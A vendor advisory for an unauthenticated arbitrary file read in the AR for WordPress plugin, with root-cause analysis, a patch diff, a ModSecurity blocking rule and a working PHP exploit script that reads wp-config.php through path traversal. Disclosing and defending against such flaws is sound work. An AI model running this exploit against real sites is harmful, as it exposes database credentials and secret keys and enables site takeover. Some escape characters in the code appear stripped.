Published : July 2, 2026

CVE-2026-14327: AR for WordPress <= 8.40 Unauthenticated Arbitrary File Read via 'file' Parameter PoC, Patch Analysis & Rule

Severity High (CVSS 7.5)
CWE 22
Vulnerable Version 8.40
Patched Version 8.41
Disclosed July 1, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-14327:

This vulnerability allows unauthenticated attackers to read arbitrary files on the server through the AR for WordPress plugin versions up to and including 8.40. The affected component is the secure download functionality in ar-secure-download.php and ar-secure-url-generate.php. The vulnerability carries a CVSS score of 7.5, indicating high severity.

The root cause lies in the encryption key management and path validation. In the vulnerable version, ar_validate_and_serve_file() at line 54 of ar-secure-download.php used get_option(‘ar_licence_key’) as the decryption secret. However, on default installations where ar_licence_key is unset, this returns an empty string. An attacker can obtain a valid nonce and secure nonce via the publicly accessible ar_get_fresh_nonce and ar_process_user_image AJAX handlers. The attacker can then locally reproduce the encryption key (empty string) and craft a malicious encrypted file parameter containing directory traversal sequences like ‘../../wp-config.php’. The ar_decrypt_file_path() function decrypts the path without validating its contents, and the subsequent file path concatenation at line 62 ($full_file_path = $allowed_directory . ‘/’ . $file_path) allows traversal outside the uploads directory. The ar_is_within_wordpress_install() check in ar-secure-url-generate.php also accepted any URL under the home_url(), not just uploads, broadening the attack surface.

To exploit, an attacker first obtains a nonce via the AJAX handlers. The attacker then crafts an encrypted file path using an empty key. The attacker sends a request to /wp-content/plugins/ar-for-wordpress/includes/ar-secure-download.php?file=[ENCRYPTED_PATH]&_wpnonce=[OBTAINED_NONCE]. The encrypted path for a file like ‘../../../../wp-config.php’ is computed using base64 encoding with AES-256-CBC encryption using an empty key. The attacker can use existing plugin functions or a local PHP script to generate this encrypted value. Because the plugin uses the same weak key for encryption and decryption, the attacker simply reproduces the encryption process locally.

The patch introduces three key improvements. First, ar_get_secure_download_secret() generates and stores a cryptographically random 64-character secret via wp_generate_password() in the WordPress options table. This replaces the empty licence_key. Second, the new ar_validate_secure_download_path() function validates the decrypted path using realpath(), rejecting directory traversal sequences (../), checking for null bytes, enforcing allowed extensions (gltf, glb, usdz), and ensuring the resolved path stays within the uploads directory. Third, ar_is_within_wordpress_install() now strictly requires the URL to start with the uploads base URL, removing the home_url() acceptance. The nonce action also changed from ‘ar_secure_nonce’ to ‘ar_secure_download_nonce’.

Successful exploitation allows an unauthenticated attacker to read arbitrary files from the server filesystem. This includes reading the wp-config.php file which contains database credentials, authentication salts, and secret keys. An attacker can also read other sensitive files like backups, log files, or PHP source code. With database credentials, the attacker can escalate to full database access, potentially leading to complete site compromise including remote code execution through SQL injection or direct administrative access.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/ar-for-wordpress/ar-wordpress.php
+++ b/ar-for-wordpress/ar-wordpress.php
@@ -3,7 +3,7 @@
  * Plugin Name: AR for WordPress
  * Plugin URI: https://augmentedrealityplugins.com
  * Description: AR for WordPress Augmented Reality plugin.
- * Version: 8.40
+ * Version: 8.41
  * Requires at least: 5.5
  * Requires PHP: 7.4
  * Author: Web and Print Design
--- a/ar-for-wordpress/includes/ar-secure-download.php
+++ b/ar-for-wordpress/includes/ar-secure-download.php
@@ -17,6 +17,19 @@
 }

 /************* Function to decrypt the file path *******************/
+if (!function_exists('ar_get_secure_download_secret')){
+    function ar_get_secure_download_secret() {
+        $secret = get_option('ar_secure_download_secret');
+
+        if (!is_string($secret) || strlen($secret) < 32) {
+            $secret = wp_generate_password(64, true, true);
+            update_option('ar_secure_download_secret', $secret, false);
+        }
+
+        return $secret;
+    }
+}
+
 if (!function_exists('ar_decrypt_file_path')){
     // Function to decrypt the file path
     function ar_decrypt_file_path($encrypted_data, $key) {
@@ -24,7 +37,11 @@
         $key = substr(hash('sha256', $key, true), 0, 32);

         // Decode the encrypted data
-        $data = base64_decode($encrypted_data);
+        $data = base64_decode($encrypted_data, true);
+        if ($data === false) {
+            return false;
+        }
+
         $parts = explode('::', $data, 2);

         if (count($parts) < 2) {
@@ -33,41 +50,72 @@

         $iv = $parts[0];
         $encrypted = $parts[1];
+
+        if (strlen($iv) !== openssl_cipher_iv_length('AES-256-CBC')) {
+            return false;
+        }

         // Decrypt the file path
         return openssl_decrypt($encrypted, 'AES-256-CBC', $key, 0, $iv);
     }
 }
+/************* Function to validate a decrypted uploads path *******************/
+if (!function_exists('ar_validate_secure_download_path')){
+    function ar_validate_secure_download_path($file_path, $allowed_directory) {
+        if (!is_string($file_path) || $file_path === '' || strpos($file_path, "") !== false) {
+            return false;
+        }
+
+        $file_path = str_replace('\', '/', $file_path);
+
+        if (preg_match('#(^/|^[A-Za-z]:|://)#', $file_path) || preg_match('#(^|/)..(/|$)#', $file_path)) {
+            return false;
+        }
+
+        $valid_extensions = array('gltf', 'glb', 'usdz');
+        $ext = strtolower(pathinfo($file_path, PATHINFO_EXTENSION));
+        if (!in_array($ext, $valid_extensions, true)) {
+            return false;
+        }
+
+        $allowed_directory = realpath($allowed_directory);
+        if (!$allowed_directory) {
+            return false;
+        }
+
+        $full_file_path = realpath($allowed_directory . '/' . ltrim($file_path, '/'));
+        if (!$full_file_path || !is_readable($full_file_path)) {
+            return false;
+        }
+
+        $allowed_directory = rtrim(wp_normalize_path($allowed_directory), '/') . '/';
+        $full_file_path_normalized = wp_normalize_path($full_file_path);
+
+        if (strpos($full_file_path_normalized, $allowed_directory) !== 0) {
+            return false;
+        }
+
+        return $full_file_path;
+    }
+}
 /************* Function to validate and serve the request *******************/
 if (!function_exists('ar_validate_and_serve_file')){
     function ar_validate_and_serve_file($encrypted_file_path) {
         // Define the secret key for encryption/decryption
-        $secret_key = get_option('ar_licence_key'); // Change this to a secure key
+        $secret_key = ar_get_secure_download_secret();

         // Decrypt the file path
         $file_path = ar_decrypt_file_path($encrypted_file_path, $secret_key);
+        if ($file_path === false) {
+            wp_die('Invalid file request.');
+        }

         // Get the uploads directory path dynamically
         $uploads_dir = wp_upload_dir(); // Get the upload directory information
         $allowed_directory = $uploads_dir['basedir']; // Base directory for uploads
-        $full_file_path = $allowed_directory . '/' . $file_path;
-
-        // Referrer Check: Ensure the request is coming from a valid source
-        $referer = isset($_SERVER['HTTP_REFERER']) ? sanitize_text_field(wp_unslash($_SERVER['HTTP_REFERER'])) : '';
-        $valid_referer = home_url(); // You can set this to your site's URL or specific referrers
-
-        if (strpos($referer, $valid_referer) !== 0) {
-            wp_die('Unauthorized access');
-        }
-        if (file_exists($full_file_path)) {
-            // Sanitize the file path to ensure it's safe.
-            $full_file_path = realpath($full_file_path);
-
-            // Check if the file exists and is readable before proceeding
-            if (!$full_file_path || !is_readable($full_file_path)) {
-                wp_die('File not found or inaccessible.');
-            }
+        $full_file_path = ar_validate_secure_download_path($file_path, $allowed_directory);

+        if ($full_file_path) {

             // Prevent caching
             header('Cache-Control: no-store, no-cache, must-revalidate, max-age=0');
@@ -80,10 +128,11 @@
             header('Content-Disposition: attachment; filename="' . esc_attr(basename($file_path)) . '"'); // Escape the filename

             // Use a secure file read function to output the file contents.
-            if (ar_wp_readfile($full_file_path) === false) {
+            $file_contents = ar_wp_readfile($full_file_path);
+            if ($file_contents === false) {
                 wp_die('Error reading the file.');
             }
-            ar_return_file( ar_wp_readfile($full_file_path));
+            ar_return_file($file_contents);
             exit;
         } else {
             wp_die('File not found');
@@ -91,7 +140,7 @@
     }
 }
 // Verify the nonce before processing
-if ( ! isset( $_GET['_wpnonce'] ) || ! wp_verify_nonce( sanitize_text_field( wp_unslash( $_GET['_wpnonce'] ) ), 'ar_secure_nonce' ) ) {
+if ( ! isset( $_GET['_wpnonce'] ) || ! wp_verify_nonce( sanitize_text_field( wp_unslash( $_GET['_wpnonce'] ) ), 'ar_secure_download_nonce' ) ) {
     wp_die( __( 'Security check failed.', 'ar-for-wordpress' ) );
 }
 // Get the encrypted file path from the query string
--- a/ar-for-wordpress/includes/ar-secure-url-generate.php
+++ b/ar-for-wordpress/includes/ar-secure-url-generate.php
@@ -7,6 +7,19 @@


 /************* Encrypt the file path *******************/
+if (!function_exists('ar_get_secure_download_secret')){
+    function ar_get_secure_download_secret() {
+        $secret = get_option('ar_secure_download_secret');
+
+        if (!is_string($secret) || strlen($secret) < 32) {
+            $secret = wp_generate_password(64, true, true);
+            update_option('ar_secure_download_secret', $secret, false);
+        }
+
+        return $secret;
+    }
+}
+
 if (!function_exists('ar_encrypt_file_path')){
     // Function to encrypt the file path
     function ar_encrypt_file_path($file_path, $key) {
@@ -28,11 +41,10 @@
 /************* Check if the URL is within the WordPress installation *******************/
 if (!function_exists('ar_is_within_wordpress_install')){
     function ar_is_within_wordpress_install($url) {
-        $home_url = home_url(); // Get the base URL of the WordPress installation
         $upload_dir = wp_upload_dir(); // Get the upload directory path
         $upload_base_url = $upload_dir['baseurl']; // Base URL of the uploads directory
-        // Check if the URL starts with the base URL or uploads base URL
-        return strpos($url, $home_url) === 0 || strpos($url, $upload_base_url) === 0;
+        // Secure downloads only serve files from the uploads directory.
+        return strpos($url, trailingslashit($upload_base_url)) === 0;
     }
 }

@@ -40,7 +52,7 @@
 if (!function_exists('ar_is_valid_file_extension')){
     function ar_is_valid_file_extension($file_path) {
         $valid_extensions = array('gltf', 'glb', 'usdz');
-        $ext = pathinfo($file_path, PATHINFO_EXTENSION);
+        $ext = strtolower(pathinfo($file_path, PATHINFO_EXTENSION));
         return in_array($ext, $valid_extensions);
     }
 }
@@ -50,11 +62,11 @@
     function ar_get_secure_model_url($file_url) {
         global $ar_plugin_id;
         if ((get_option('ar_licence_valid')=='Valid') AND (get_option('ar_secure_model_urls')==1)){
-            $secret_key = get_option('ar_licence_key');
+            $secret_key = ar_get_secure_download_secret();
             // Check if the URL is within the WordPress installation and encrypt it
             if (ar_is_within_wordpress_install($file_url)) {
                 $uploads_dir = wp_upload_dir();
-                $uploads_url = $uploads_dir['baseurl'].'/';
+                $uploads_url = trailingslashit($uploads_dir['baseurl']);
                 // Extract the upload path from the URL
                 $file_path = str_replace($uploads_url, '', $file_url);
                 // Check if the file is from galllery builder
@@ -64,7 +76,7 @@
                 }elseif (ar_is_valid_file_extension($file_path)) {
                     // Check if the file extension is valid
                     $encrypted_file_path = ar_encrypt_file_path($file_path, $secret_key);
-                    $nonce = wp_create_nonce('ar_secure_nonce');
+                    $nonce = wp_create_nonce('ar_secure_download_nonce');
                     $secure_url = site_url('/wp-content/plugins/'.$ar_plugin_id.'/includes/ar-secure-download.php?file=' . urlencode($encrypted_file_path) . '&_wpnonce=' . $nonce);
                 } else {
                     // Use the original URL if the file type is not valid

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
# Atomic Edge WAF Rule - CVE-2026-14327
# Blocks unauthenticated directory traversal via the AR for WordPress secure download endpoint
# This targets the specific vulnerable file and parameter pattern
SecRule REQUEST_URI "@streq /wp-content/plugins/ar-for-wordpress/includes/ar-secure-download.php" 
  "id:202614327,phase:2,deny,status:403,chain,msg:'CVE-2026-14327 - Directory Traversal in AR for WordPress via file parameter',severity:'CRITICAL',tag:'CVE-2026-14327',tag:'wordpress'"
  SecRule ARGS_GET:file "@rx ^[A-Za-z0-9+/=]{50,}$" "chain"
    SecRule ARGS_GET:file "@rx ([A-Za-z0-9+/]{20,}::[A-Za-z0-9+/]{20,})" "t:none"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-14327 - AR for WordPress <= 8.40 - Unauthenticated Arbitrary File Read

// Configuration
$target_url = 'http://example.com'; // Change this to the target WordPress URL

// Step 1: Get a fresh nonce using the AJAX handler
$nonce_url = $target_url . '/wp-admin/admin-ajax.php?action=ar_get_fresh_nonce';
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $nonce_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

if ($http_code !== 200 || empty($response)) {
    die("[-] Failed to get nonce. HTTP Code: $http_coden");
}

// Parse the nonce from response (assuming JSON, adjust if needed)
$nonce_data = json_decode($response, true);
$nonce = $nonce_data['nonce'] ?? trim($response);
echo "[+] Obtained nonce: $noncen";

// Step 2: Generate the encrypted file path using empty key (vulnerable state)
// The plugin uses an empty string as key when ar_licence_key is unset
$target_file = '../../../../../../wp-config.php'; // Path traversal to wp-config

// Reproduce the plugin's encryption logic
// Note: This requires openssl and base64 encoding matching the vulnerable plugin
$iv_length = openssl_cipher_iv_length('AES-256-CBC');
$iv = openssl_random_pseudo_bytes($iv_length);
$encryption_key = ''; // Empty key, as used when ar_licence_key is unset
$encryption_key_hashed = substr(hash('sha256', $encryption_key, true), 0, 32);
$encrypted_path = openssl_encrypt($target_file, 'AES-256-CBC', $encryption_key_hashed, 0, $iv);
$encrypted_encoded = base64_encode($iv . '::' . $encrypted_path);
echo "[+] Generated encrypted path: $encrypted_encodedn";

// Step 3: Send the exploit request to read wp-config.php
$exploit_url = $target_url . '/wp-content/plugins/ar-for-wordpress/includes/ar-secure-download.php';
$exploit_url .= '?file=' . urlencode($encrypted_encoded);
$exploit_url .= '&_wpnonce=' . urlencode($nonce);

echo "[+] Sending exploit request to: $exploit_urln";

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $exploit_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, false);
$exploit_response = curl_exec($ch);
$exploit_http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

echo "[+] HTTP Response Code: $exploit_http_coden";
echo "[+] Response length: " . strlen($exploit_response) . " bytesn";
echo "[+] Response content:n";
echo $exploit_response;
echo "n";

if ($exploit_http_code === 200 && strlen($exploit_response) > 100) {
    echo "[!] Exploit likely successful! wp-config.php contents retrieved.n";
} else {
    echo "[-] Exploit may have failed. Check the target and try again.n";
}
?>

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.